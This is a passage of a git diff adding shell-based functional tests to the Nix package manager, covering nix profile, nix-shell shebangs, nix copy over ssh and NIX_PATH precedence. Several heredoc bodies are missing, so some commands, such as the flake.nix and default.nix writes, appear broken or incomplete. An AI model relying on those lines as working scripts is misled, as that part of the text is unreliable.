the profile + nix-env -f ./user-envs.nix -i foo-1.0 "$@" + nix-env -f ./user-envs.nix -i foo-2.0pre1 "$@" + [[ $(nix-env --list-generations "$@" | wc -l) -eq 2 ]] + + # Clear the profile history. There should be only one generation + # left + nix-collect-garbage -d + [[ $(nix-env --list-generations "$@" | wc -l) -eq 1 ]] +} + +testCollectGarbageD + +# Run the same test, but forcing the profiles an arbitrary location. +rm ~/.nix-profile +ln -s $TEST_ROOT/blah ~/.nix-profile +testCollectGarbageD + +# Run the same test, but forcing the profiles at their legacy location under +# /nix/var/nix. +# +# Note that we *don't* use the default profile; `nix-collect-garbage` will +# need to check the legacy conditional unconditionally not just follow +# `~/.nix-profile` to pass this test. +# +# Regression test for #8294 +rm ~/.nix-profile +testCollectGarbageD --profile "$NIX_STATE_DIR/profiles/per-user/me" diff --git a/tests/functional/nix-copy-ssh-common.sh b/tests/functional/nix-copy-ssh-common.sh new file mode 100644 index 000000000..5eea9612d --- /dev/null +++ b/tests/functional/nix-copy-ssh-common.sh @@ -0,0 +1,72 @@ +proto=$1 +shift +(( $# == 0 )) + +TODO_NixOS + +clearStore +clearCache + +mkdir -p $TEST_ROOT/stores + +# Create path to copy back and forth +outPath=$(nix-build --no-out-link dependencies.nix) + +storeQueryParam="store=${NIX_STORE_DIR}" + +realQueryParam () { + echo "real=$1$NIX_STORE_DIR" +} + +remoteRoot="$TEST_ROOT/stores/$proto" + +clearRemoteStore () { + chmod -R u+w "$remoteRoot" || true + rm -rf "$remoteRoot" +} + +clearRemoteStore + +remoteStore="${proto}://localhost?${storeQueryParam}&remote-store=${remoteRoot}%3f${storeQueryParam}%26$(realQueryParam "$remoteRoot")" + +# Copy to store + +args=() +if [[ "$proto" == "ssh-ng" ]]; then + # TODO investigate discrepancy + args+=(--no-check-sigs) +fi + +[ ! -f ${remoteRoot}${outPath}/foobar ] +nix copy "${args[@]}" --to "$remoteStore" $outPath +[ -f ${remoteRoot}${outPath}/foobar ] + +# Copy back from store + +clearStore + +[ ! -f $outPath/foobar ] +nix copy --no-check-sigs --from "$remoteStore" $outPath +[ -f $outPath/foobar ] + +# Check --substitute-on-destination, avoid corrupted store + +clearRemoteStore + +corruptedRoot=$TEST_ROOT/stores/corrupted +corruptedStore="${corruptedRoot}?${storeQueryParam}&$(realQueryParam "$corruptedRoot")" + +# Copy it to the corrupted store +nix copy --no-check-sigs "$outPath" --to "$corruptedStore" + +# Corrupt it in there +corruptPath="${corruptedRoot}${outPath}" +chmod +w "$corruptPath" +echo "not supposed to be here" > "$corruptPath/foobarbaz" +chmod -w "$corruptPath" + +# Copy from the corrupted store with the regular store as a +# substituter. It must use the substituter not the source store in +# order to avoid errors. +NIX_CONFIG=$(echo -e "substituters = local\nrequire-sigs = false") \ + nix copy --no-check-sigs --from "$corruptedStore" --to "$remoteStore" --substitute-on-destination "$outPath" diff --git a/tests/functional/nix-copy-ssh-ng.sh b/tests/functional/nix-copy-ssh-ng.sh new file mode 100755 index 000000000..41958c2c3 --- /dev/null +++ b/tests/functional/nix-copy-ssh-ng.sh @@ -0,0 +1,18 @@ +#!/usr/bin/env bash + +source common.sh + +source nix-copy-ssh-common.sh "ssh-ng" + +TODO_NixOS + +clearStore +clearRemoteStore + +outPath=$(nix-build --no-out-link dependencies.nix) + +nix store info --store "$remoteStore" + +# Regression test for https://github.com/NixOS/nix/issues/6253 +nix copy --to "$remoteStore" $outPath --no-check-sigs & +nix copy --to "$remoteStore" $outPath --no-check-sigs diff --git a/tests/functional/nix-copy-ssh.sh b/tests/functional/nix-copy-ssh.sh new file mode 100755 index 000000000..1dc256e49 --- /dev/null +++ b/tests/functional/nix-copy-ssh.sh @@ -0,0 +1,5 @@ +#!/usr/bin/env bash + +source common.sh + +source nix-copy-ssh-common.sh "ssh" diff --git a/tests/functional/nix-daemon-untrusting.sh b/tests/functional/nix-daemon-untrusting.sh new file mode 100755 index 000000000..bcdb70989 --- /dev/null +++ b/tests/functional/nix-daemon-untrusting.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +exec nix-daemon --force-untrusted "$@" diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh new file mode 100755 index 000000000..e2f19b99e --- /dev/null +++ b/tests/functional/nix-profile.sh @@ -0,0 +1,250 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +clearStore +clearProfiles + +enableFeatures "ca-derivations" +restartDaemon + +# Make a flake. +flake1Dir=$TEST_ROOT/flake1 +mkdir -p $flake1Dir + +cat > $flake1Dir/flake.nix < \$out/bin/hello < $flake1Dir/who +printf 1.0 > $flake1Dir/version +printf false > $flake1Dir/ca.nix + +cp ./config.nix $flake1Dir/ + +# Test upgrading from nix-env. +nix-env -f ./user-envs.nix -i foo-1.0 +nix profile list | grep -A2 'Name:.*foo' | grep 'Store paths:.*foo-1.0' +nix profile install $flake1Dir -L +nix profile list | grep -A4 'Name:.*flake1' | grep 'Locked flake URL:.*narHash' +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] +[ -e $TEST_HOME/.nix-profile/share/man ] +(! [ -e $TEST_HOME/.nix-profile/include ]) +nix profile history +nix profile history | grep "packages.$system.default: ∅ -> 1.0" +nix profile diff-closures | grep 'env-manifest.nix: ε → ∅' + +# Test XDG Base Directories support +export NIX_CONFIG="use-xdg-base-directories = true" +nix profile remove flake1 2>&1 | grep 'removed 1 packages' +nix profile install $flake1Dir +[[ $($TEST_HOME/.local/state/nix/profile/bin/hello) = "Hello World" ]] +unset NIX_CONFIG + +# Test conflicting package install. +nix profile install $flake1Dir 2>&1 | grep "warning: 'flake1' is already installed" + +# Test upgrading a package. +printf NixOS > $flake1Dir/who +printf 2.0 > $flake1Dir/version +nix profile upgrade flake1 +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello NixOS" ]] +nix profile history | grep "packages.$system.default: 1.0, 1.0-man -> 2.0, 2.0-man" + +# Test upgrading package using regular expression. +printf 2.1 > $flake1Dir/version +nix profile upgrade --regex '.*' +[[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.1/bin/hello ]] +nix profile rollback + +# Test upgrading all packages +printf 2.2 > $flake1Dir/version +nix profile upgrade --all +[[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.2/bin/hello ]] +nix profile rollback +printf 1.0 > $flake1Dir/version + +# Test --all exclusivity. +assertStderr nix --offline profile upgrade --all foo << EOF +error: --all cannot be used with package names or regular expressions. +Try 'nix --help' for more information. +EOF + +# Test matching no packages using literal package name. +assertStderr nix --offline profile upgrade this_package_is_not_installed << EOF +warning: Package name 'this_package_is_not_installed' does not match any packages in the profile. +warning: No packages to upgrade. Use 'nix profile list' to see the current profile. +EOF + +# Test matching no packages using regular expression. +assertStderr nix --offline profile upgrade --regex '.*unknown_package.*' << EOF +warning: Regex '.*unknown_package.*' does not match any packages in the profile. +warning: No packages to upgrade. Use 'nix profile list' to see the current profile. +EOF + +# Test removing all packages using regular expression. +nix profile remove --regex '.*' 2>&1 | grep "removed 2 packages, kept 0 packages" +nix profile rollback + +# Test 'history', 'diff-closures'. +nix profile diff-closures + +# Test rollback. +printf World > $flake1Dir/who +nix profile upgrade flake1 +printf NixOS > $flake1Dir/who +nix profile upgrade flake1 +nix profile rollback +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] + +# Test uninstall. +[ -e $TEST_HOME/.nix-profile/bin/foo ] +nix profile remove foo 2>&1 | grep 'removed 1 packages' +(! [ -e $TEST_HOME/.nix-profile/bin/foo ]) +nix profile history | grep 'foo: 1.0 -> ∅' +nix profile diff-closures | grep 'Version 3 -> 4' + +# Test installing a non-flake package. +nix profile install --file ./simple.nix '' +[[ $(cat $TEST_HOME/.nix-profile/hello) = "Hello World!" ]] +nix profile remove simple 2>&1 | grep 'removed 1 packages' +nix profile install $(nix-build --no-out-link ./simple.nix) +[[ $(cat $TEST_HOME/.nix-profile/hello) = "Hello World!" ]] + +# Test packages with same name from different sources +mkdir $TEST_ROOT/simple-too +cp ./simple.nix ./config.nix simple.builder.sh $TEST_ROOT/simple-too +nix profile install --file $TEST_ROOT/simple-too/simple.nix '' +nix profile list | grep -A4 'Name:.*simple' | grep 'Name:.*simple-1' +nix profile remove simple 2>&1 | grep 'removed 1 packages' +nix profile remove simple-1 2>&1 | grep 'removed 1 packages' + +# Test wipe-history. +nix profile wipe-history +[[ $(nix profile history | grep Version | wc -l) -eq 1 ]] + +# Test upgrade to CA package. +printf true > $flake1Dir/ca.nix +printf 3.0 > $flake1Dir/version +nix profile upgrade flake1 +nix profile history | grep "packages.$system.default: 1.0, 1.0-man -> 3.0, 3.0-man" + +# Test new install of CA package. +nix profile remove flake1 2>&1 | grep 'removed 1 packages' +printf 4.0 > $flake1Dir/version +printf Utrecht > $flake1Dir/who +nix profile install $flake1Dir +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello Utrecht" ]] +[[ $(nix path-info --json $(realpath $TEST_HOME/.nix-profile/bin/hello) | jq -r .[].ca) =~ fixed:r:sha256: ]] + +# Override the outputs. +nix profile remove simple flake1 +nix profile install "$flake1Dir^*" +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello Utrecht" ]] +[ -e $TEST_HOME/.nix-profile/share/man ] +[ -e $TEST_HOME/.nix-profile/include ] + +printf Nix > $flake1Dir/who +nix profile list +nix profile upgrade flake1 +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello Nix" ]] +[ -e $TEST_HOME/.nix-profile/share/man ] +[ -e $TEST_HOME/.nix-profile/include ] + +nix profile remove flake1 2>&1 | grep 'removed 1 packages' +nix profile install "$flake1Dir^man" +(! [ -e $TEST_HOME/.nix-profile/bin/hello ]) +[ -e $TEST_HOME/.nix-profile/share/man ] +(! [ -e $TEST_HOME/.nix-profile/include ]) + +# test priority +nix profile remove flake1 2>&1 | grep 'removed 1 packages' + +# Make another flake. +flake2Dir=$TEST_ROOT/flake2 +printf World > $flake1Dir/who +cp -r $flake1Dir $flake2Dir +printf World2 > $flake2Dir/who + +nix profile install $flake1Dir +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] +expect 1 nix profile install $flake2Dir +diff -u <( + nix --offline profile install $flake2Dir 2>&1 1> /dev/null \ + | grep -vE "^warning: " \ + | grep -vE "^error \(ignored\): " \ + || true +) <(cat << EOF +error: An existing package already provides the following file: + + $(nix build --no-link --print-out-paths ${flake1Dir}"#default.out")/bin/hello + + This is the conflicting file from the new package: + + $(nix build --no-link --print-out-paths ${flake2Dir}"#default.out")/bin/hello + + To remove the existing package: + + nix profile remove flake1 + + The new package can also be installed next to the existing one by assigning a different priority. + The conflicting packages have a priority of 5. + To prioritise the new package: + + nix profile install path:${flake2Dir}#packages.${system}.default --priority 4 + + To prioritise the existing package: + + nix profile install path:${flake2Dir}#packages.${system}.default --priority 6 +EOF +) +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] +nix profile install $flake2Dir --priority 100 +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] +nix profile install $flake2Dir --priority 0 +[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World2" ]] +# nix profile install $flake1Dir --priority 100 +# [[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]] + +# Ensure that conflicts are handled properly even when the installables aren't +# flake references. +# Regression test for https://github.com/NixOS/nix/issues/8284 +clearProfiles +nix profile install $(nix build $flake1Dir --no-link --print-out-paths) +expect 1 nix profile install --impure --expr "(builtins.getFlake ''$flake2Dir'').packages.$system.default" + +# Test upgrading from profile version 2. +clearProfiles +mkdir -p $TEST_ROOT/import-profile +outPath=$(nix build --no-link --print-out-paths $flake1Dir/flake.nix^out) +printf '{ "version": 2, "elements": [ { "active": true, "attrPath": "legacyPackages.x86_64-linux.hello", "originalUrl": "flake:nixpkgs", "outputs": null, "priority": 5, "storePaths": [ "%s" ], "url": "github:NixOS/nixpkgs/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ] }' "$outPath" > $TEST_ROOT/import-profile/manifest.json +nix build --profile $TEST_HOME/.nix-profile $(nix store add-path $TEST_ROOT/import-profile) --no-link +nix profile list | grep -A4 'Name:.*hello' | grep "Store paths:.*$outPath" +nix profile remove hello 2>&1 | grep 'removed 1 packages, kept 0 packages' diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh new file mode 100755 index 000000000..b9625eb66 --- /dev/null +++ b/tests/functional/nix-shell.sh @@ -0,0 +1,226 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +if [[ -n ${CONTENT_ADDRESSED:-} ]]; then + shellDotNix="$PWD/ca-shell.nix" +else + shellDotNix="$PWD/shell.nix" +fi + +export NIX_PATH=nixpkgs="$shellDotNix" + +# Test nix-shell -A +export IMPURE_VAR=foo +export SELECTED_IMPURE_VAR=baz + +output=$(nix-shell --pure "$shellDotNix" -A shellDrv --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') + +[ "$output" = " - foo - bar - true" ] + +output=$(nix-shell --pure "$shellDotNix" -A shellDrv --option nix-shell-always-looks-for-shell-nix false --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') +[ "$output" = " - foo - bar - true" ] + +# Test --keep +output=$(nix-shell --pure --keep SELECTED_IMPURE_VAR "$shellDotNix" -A shellDrv --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $SELECTED_IMPURE_VAR"') + +[ "$output" = " - foo - bar - baz" ] + +# Test nix-shell on a .drv +[[ $(nix-shell --pure $(nix-instantiate "$shellDotNix" -A shellDrv) --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') = " - foo - bar - false" ]] + +[[ $(nix-shell --pure $(nix-instantiate "$shellDotNix" -A shellDrv) --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX - $TEST_inNixShell"') = " - foo - bar - false" ]] + +# Test nix-shell on a .drv symlink + +# Legacy: absolute path and .drv extension required +nix-instantiate "$shellDotNix" -A shellDrv --add-root $TEST_ROOT/shell.drv +[[ $(nix-shell --pure $TEST_ROOT/shell.drv --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX"') = " - foo - bar" ]] + +# New behaviour: just needs to resolve to a derivation in the store +nix-instantiate "$shellDotNix" -A shellDrv --add-root $TEST_ROOT/shell +[[ $(nix-shell --pure $TEST_ROOT/shell --run \ + 'echo "$IMPURE_VAR - $VAR_FROM_STDENV_SETUP - $VAR_FROM_NIX"') = " - foo - bar" ]] + +# Test nix-shell -p +output=$(NIX_PATH=nixpkgs="$shellDotNix" nix-shell --pure -p foo bar --run 'echo "$(foo) $(bar)"') +[ "$output" = "foo bar" ] + +# Test nix-shell -p --arg x y +output=$(NIX_PATH=nixpkgs="$shellDotNix" nix-shell --pure -p foo --argstr fooContents baz --run 'echo "$(foo)"') +[ "$output" = "baz" ] + +# Test nix-shell shebang mode +sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.sh > $TEST_ROOT/shell.shebang.sh +chmod a+rx $TEST_ROOT/shell.shebang.sh + +output=$($TEST_ROOT/shell.shebang.sh abc def) +[ "$output" = "foo bar abc def" ] + +# Test nix-shell shebang mode with an alternate working directory +sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.expr > $TEST_ROOT/shell.shebang.expr +chmod a+rx $TEST_ROOT/shell.shebang.expr +# Should fail due to expressions using relative path +! $TEST_ROOT/shell.shebang.expr bar +cp shell.nix config.nix $TEST_ROOT +# Should succeed +echo "cwd: $PWD" +output=$($TEST_ROOT/shell.shebang.expr bar) +[ "$output" = foo ] + +# Test nix-shell shebang mode with an alternate working directory +sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.legacy.expr > $TEST_ROOT/shell.shebang.legacy.expr +chmod a+rx $TEST_ROOT/shell.shebang.legacy.expr +# Should fail due to expressions using relative path +mkdir -p "$TEST_ROOT/somewhere-unrelated" +output="$(cd "$TEST_ROOT/somewhere-unrelated"; $TEST_ROOT/shell.shebang.legacy.expr bar;)" +[[ $(realpath "$output") = $(realpath "$TEST_ROOT/somewhere-unrelated") ]] + +# Test nix-shell shebang mode again with metacharacters in the filename. +# First word of filename is chosen to not match any file in the test root. +sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.sh > $TEST_ROOT/spaced\ \\\'\"shell.shebang.sh +chmod a+rx $TEST_ROOT/spaced\ \\\'\"shell.shebang.sh + +output=$($TEST_ROOT/spaced\ \\\'\"shell.shebang.sh abc def) +[ "$output" = "foo bar abc def" ] + +# Test nix-shell shebang mode for ruby +# This uses a fake interpreter that returns the arguments passed +# This, in turn, verifies the `rc` script is valid and the `load()` script (given using `-e`) is as expected. +sed -e "s|@SHELL_PROG@|$(type -P nix-shell)|" shell.shebang.rb > $TEST_ROOT/shell.shebang.rb +chmod a+rx $TEST_ROOT/shell.shebang.rb + +output=$($TEST_ROOT/shell.shebang.rb abc ruby) +[ "$output" = '-e load(ARGV.shift) -- '"$TEST_ROOT"'/shell.shebang.rb abc ruby' ] + +# Test nix-shell shebang mode for ruby again with metacharacters in the filename. +# Note: fake interpreter only space-separates args without adding escapes to its output. +sed -e "s|@SHELL_PROG@|$(type -P nix-shell)|" shell.shebang.rb > $TEST_ROOT/spaced\ \\\'\"shell.shebang.rb +chmod a+rx $TEST_ROOT/spaced\ \\\'\"shell.shebang.rb + +output=$($TEST_ROOT/spaced\ \\\'\"shell.shebang.rb abc ruby) +[ "$output" = '-e load(ARGV.shift) -- '"$TEST_ROOT"'/spaced \'\''"shell.shebang.rb abc ruby' ] + +# Test nix-shell shebang quoting +sed -e "s|@ENV_PROG@|$(type -P env)|" shell.shebang.nix > $TEST_ROOT/shell.shebang.nix +chmod a+rx $TEST_ROOT/shell.shebang.nix +$TEST_ROOT/shell.shebang.nix + +mkdir $TEST_ROOT/lookup-test $TEST_ROOT/empty + +echo "import $shellDotNix" > $TEST_ROOT/lookup-test/shell.nix +cp config.nix $TEST_ROOT/lookup-test/ +echo 'abort "do not load default.nix!"' > $TEST_ROOT/lookup-test/default.nix + +nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' | grepQuiet "it works" +# https://github.com/NixOS/nix/issues/4529 +nix-shell -I "testRoot=$TEST_ROOT" '' -A shellDrv --run 'echo "it works"' | grepQuiet "it works" + +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet -F "do not load default.nix!" # we did, because we chose to enable legacy behavior +expectStderr 1 nix-shell $TEST_ROOT/lookup-test -A shellDrv --run 'echo "it works"' --option nix-shell-always-looks-for-shell-nix false \ + | grepQuiet "Skipping .*lookup-test/shell\.nix.*, because the setting .*nix-shell-always-looks-for-shell-nix.* is disabled. This is a deprecated behavior\. Consider enabling .*nix-shell-always-looks-for-shell-nix.*" + +( + cd $TEST_ROOT/empty; + expectStderr 1 nix-shell | \ + grepQuiet "error.*no argument specified and no .*shell\.nix.* or .*default\.nix.* file found in the working directory" +) + +expectStderr 1 nix-shell -I "testRoot=$TEST_ROOT" '' | + grepQuiet "error.*neither .*shell\.nix.* nor .*default\.nix.* found in .*/empty" + +cat >$TEST_ROOT/lookup-test/shebangscript < $TEST_ROOT/marco/shell.nix +cat >$TEST_ROOT/marco/polo/default.nix < $TEST_ROOT/dev-env.sh +nix print-dev-env -f "$shellDotNix" shellDrv --json > $TEST_ROOT/dev-env.json + +# Test with raw drv + +shellDrv=$(nix-instantiate "$shellDotNix" -A shellDrv.out) + +nix develop $shellDrv -c bash -c '[[ -n $stdenv ]]' + +nix print-dev-env $shellDrv > $TEST_ROOT/dev-env2.sh +nix print-dev-env $shellDrv --json > $TEST_ROOT/dev-env2.json + +diff $TEST_ROOT/dev-env{,2}.sh +diff $TEST_ROOT/dev-env{,2}.json + +# Ensure `nix print-dev-env --json` contains variable assignments. +[[ $(jq -r .variables.arr1.value[2] $TEST_ROOT/dev-env.json) = '3 4' ]] + +# Run tests involving `source <(nix print-dev-env)` in subshells to avoid modifying the current +# environment. + +set -u + +# Ensure `source <(nix print-dev-env)` modifies the environment. +( + path=$PATH + source $TEST_ROOT/dev-env.sh + [[ -n $stdenv ]] + [[ ${arr1[2]} = "3 4" ]] + [[ ${arr2[1]} = $'\n' ]] + [[ ${arr2[2]} = $'x\ny' ]] + [[ $(fun) = blabla ]] + [[ $PATH = $(jq -r .variables.PATH.value $TEST_ROOT/dev-env.json):$path ]] +) + +# Ensure `source <(nix print-dev-env)` handles the case when PATH is empty. +( + path=$PATH + PATH= + source $TEST_ROOT/dev-env.sh + [[ $PATH = $(PATH=$path jq -r .variables.PATH.value $TEST_ROOT/dev-env.json) ]] +) + +# Test nix-shell with ellipsis and no `inNixShell` argument (for backwards compat with old nixpkgs) +cat >$TEST_ROOT/shell-ellipsis.nix <' --restrict-eval +nix-instantiate --eval -E '' --restrict-eval + +# Should ideally also test this, but there’s no pure way to do it, so just trust me that it works +# nix-instantiate --eval -E '' -I nixpkgs=channel:nixos-unstable --restrict-eval + +[[ $(nix-instantiate --find-file by-absolute-path/simple.nix) = $PWD/simple.nix ]] +[[ $(nix-instantiate --find-file by-relative-path/simple.nix) = $PWD/simple.nix ]] + +# this is the human-readable specification for the following test cases of interactions between various ways of specifying NIX_PATH. +# TODO: the actual tests are incomplete and too manual. +# there should be 43 of them, since the table has 9 rows and columns, and 2 interactions are meaningless +# ideally they would work off the table programmatically. +# +# | precedence | hard-coded | nix-path in file | extra-nix-path in file | nix-path in env | extra-nix-path in env | NIX_PATH | nix-path | extra-nix-path | -I | +# |------------------------|------------|------------------|------------------------|-----------------|-----------------------|-----------|-----------|-----------------|-----------------| +# | hard-coded | x | ^override | ^append | ^override | ^append | ^override | ^override | ^append | ^prepend | +# | nix-path in file | | last wins | ^append | ^override | ^append | ^override | ^override | ^append | ^prepend | +# | extra-nix-path in file | | | append in order | ^override | ^append | ^override | ^override | ^append | ^prepend | +# | nix-path in env | | | | last wins | ^append | ^override | ^override | ^append | ^prepend | +# | extra-nix-path in env | | | | | append in order | ^override | ^override | ^append | ^prepend | +# | NIX_PATH | | | | | | x | ^override | ^append | ^prepend | +# | nix-path | | | | | | | last wins | ^append | ^prepend | +# | extra-nix-path | | | | | | | | append in order | append in order | +# | -I | | | | | | | | | append in order | + +unset NIX_PATH + +mkdir -p $TEST_ROOT/{from-nix-path-file,from-NIX_PATH,from-nix-path,from-extra-nix-path,from-I} +for i in from-nix-path-file from-NIX_PATH from-nix-path from-extra-nix-path from-I; do + touch $TEST_ROOT/$i/only-$i.nix +done + +# finding something that's not in any of the default paths fails +( ! $(nix-instantiate --find-file test) ) + +echo "nix-path = test=$TEST_ROOT/from-nix-path-file" >> "$test_nix_conf" + +# Use nix.conf in absence of NIX_PATH +[[ $(nix-instantiate --find-file test) = $TEST_ROOT/from-nix-path-file ]] + +# NIX_PATH overrides nix.conf +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --find-file test) = $TEST_ROOT/from-NIX_PATH ]] +# if NIX_PATH does not have the desired entry, it fails +(! NIX_PATH=test=$TEST_ROOT nix-instantiate --find-file test/only-from-nix-path-file.nix) + +# -I extends nix.conf +[[ $(nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-I.nix) = $TEST_ROOT/from-I/only-from-I.nix ]] +# if -I does not have the desired entry, the value from nix.conf is used +[[ $(nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-nix-path-file.nix) = $TEST_ROOT/from-nix-path-file/only-from-nix-path-file.nix ]] + +# -I extends NIX_PATH +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-I.nix) = $TEST_ROOT/from-I/only-from-I.nix ]] +# -I takes precedence over NIX_PATH +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate -I test=$TEST_ROOT/from-I --find-file test) = $TEST_ROOT/from-I ]] +# if -I does not have the desired entry, the value from NIX_PATH is used +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate -I test=$TEST_ROOT/from-I --find-file test/only-from-NIX_PATH.nix) = $TEST_ROOT/from-NIX_PATH/only-from-NIX_PATH.nix ]] + +# --extra-nix-path extends NIX_PATH +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --extra-nix-path test=$TEST_ROOT/from-extra-nix-path --find-file test/only-from-extra-nix-path.nix) = $TEST_ROOT/from-extra-nix-path/only-from-extra-nix-path.nix ]] +# if --extra-nix-path does not have the desired entry, the value from NIX_PATH is used +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --extra-nix-path test=$TEST_ROOT/from-extra-nix-path --find-file test/only-from-NIX_PATH.nix) = $TEST_ROOT/from-NIX_PATH/only-from-NIX_PATH.nix ]] + +# --nix-path overrides NIX_PATH +[[ $(NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path --find-file test) = $TEST_ROOT/from-nix-path ]] +# if --nix-path does not have the desired entry, it fails +(! NIX_PATH=test=$TEST_ROOT/from-NIX_PATH nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path --find-file test/only-from-NIX_PATH.nix) + +# --nix-path overrides nix.conf +[[ $(nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path --find-file test) = $TEST_ROOT/from-nix-path ]] +(! nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path --find-file test/only-from-nix-path-file.nix) + +# --extra-nix-path extends nix.conf +[[ $(nix-instantiate --extra-nix-path test=$TEST_ROOT/from-extra-nix-path --find-file test/only-from-extra-nix-path.nix) = $TEST_ROOT/from-extra-nix-path/only-from-extra-nix-path.nix ]] +# if --extra-nix-path does not have the desired entry, it is taken from nix.conf +[[ $(nix-instantiate --extra-nix-path test=$TEST_ROOT/from-extra-nix-path --find-file test) = $TEST_ROOT/from-nix-path-file ]] + +# -I extends --nix-path +[[ $(nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path -I test=$TEST_ROOT/from-I --find-file test/only-from-I.nix) = $TEST_ROOT/from-I/only-from-I.nix ]] +[[ $(nix-instantiate --nix-path test=$TEST_ROOT/from-nix-path -I test=$TEST_ROOT/from-I --find-file test/only-from-nix-path.nix) = $TEST_ROOT/from-nix-path/only-from-nix-path.nix ]] diff --git a/tests/optimise-store.sh b/tests/functional/optimise-store.sh old mode 100644 new mode 100755 similarity index 85% rename from tests/optimise-store.sh rename to tests/functional/optimise-store.sh index 8c2d05cd5..0bedafc43 --- a/tests/optimise-store.sh +++ b/tests/functional/optimise-store.sh @@ -1,10 +1,15 @@ +#!/usr/bin/env bash + source common.sh -clearStore +clearStoreIfPossible outPath1=$(echo 'with import ./config.nix; mkDerivation { name = "foo1"; builder = builtins.toFile "builder" "mkdir $out; echo hello > $out/foo"; }' | nix-build - --no-out-link --auto-optimise-store) outPath2=$(echo 'with import ./config.nix; mkDerivation { name = "foo2"; builder = builtins.toFile "builder" "mkdir $out; echo hello > $out/foo"; }' | nix-build - --no-out-link --auto-optimise-store) +TODO_NixOS # ignoring the client-specified setting 'auto-optimise-store', because it is a restricted setting and you are not a trusted user + # TODO: only continue when trusted user or root + inode1="$(stat --format=%i $outPath1/foo)" inode2="$(stat --format=%i $outPath2/foo)" if [ "$inode1" != "$inode2" ]; then diff --git a/tests/functional/output-normalization.sh b/tests/functional/output-normalization.sh new file mode 100755 index 000000000..c55f1b1d1 --- /dev/null +++ b/tests/functional/output-normalization.sh @@ -0,0 +1,12 @@ +#!/usr/bin/env bash + +source common.sh + +testNormalization () { + TODO_NixOS + clearStore + outPath=$(nix-build ./simple.nix --no-out-link) + test "$(stat -c %Y $outPath)" -eq 1 +} + +testNormalization diff --git a/tests/functional/package.nix b/tests/functional/package.nix new file mode 100644 index 000000000..277711123 --- /dev/null +++ b/tests/functional/package.nix @@ -0,0 +1,117 @@ +{ lib +, stdenv +, mkMesonDerivation +, releaseTools + +, meson +, ninja +, pkg-config +, rsync + +, jq +, git +, mercurial +, util-linux + +, nix-store +, nix-expr +, nix-cli + +, rapidcheck +, gtest +, runCommand + +, busybox-sandbox-shell ? null + +# Configuration Options + +, version + +# For running the functional tests against a different pre-built Nix. +, test-daemon ? null +}: + +let + inherit (lib) fileset; +in + +mkMesonDerivation (finalAttrs: { + pname = "nix-functional-tests"; + inherit version; + + workDir = ./.; + fileset = fileset.unions [ + ../../scripts/nix-profile.sh.in + ../../.version + ../../tests/functional + ./. + ]; + + # Hack for sake of the dev shell + passthru.baseNativeBuildInputs = [ + meson + ninja + pkg-config + rsync + + jq + git + mercurial + ] ++ lib.optionals stdenv.hostPlatform.isLinux [ + # For various sandboxing tests that needs a statically-linked shell, + # etc. + busybox-sandbox-shell + # For Overlay FS tests need `mount`, `umount`, and `unshare`. + # TODO use `unixtools` to be precise over which executables instead? + util-linux + ]; + + nativeBuildInputs = finalAttrs.passthru.baseNativeBuildInputs ++ [ + nix-cli + ]; + + buildInputs = [ + nix-store + nix-expr + ]; + + + preConfigure = + # "Inline" .version so it's not a symlink, and includes the suffix. + # Do the meson utils, without modification. + '' + chmod u+w ./.version + echo ${version} > ../../../.version + '' + # TEMP hack for Meson before make is gone, where + # 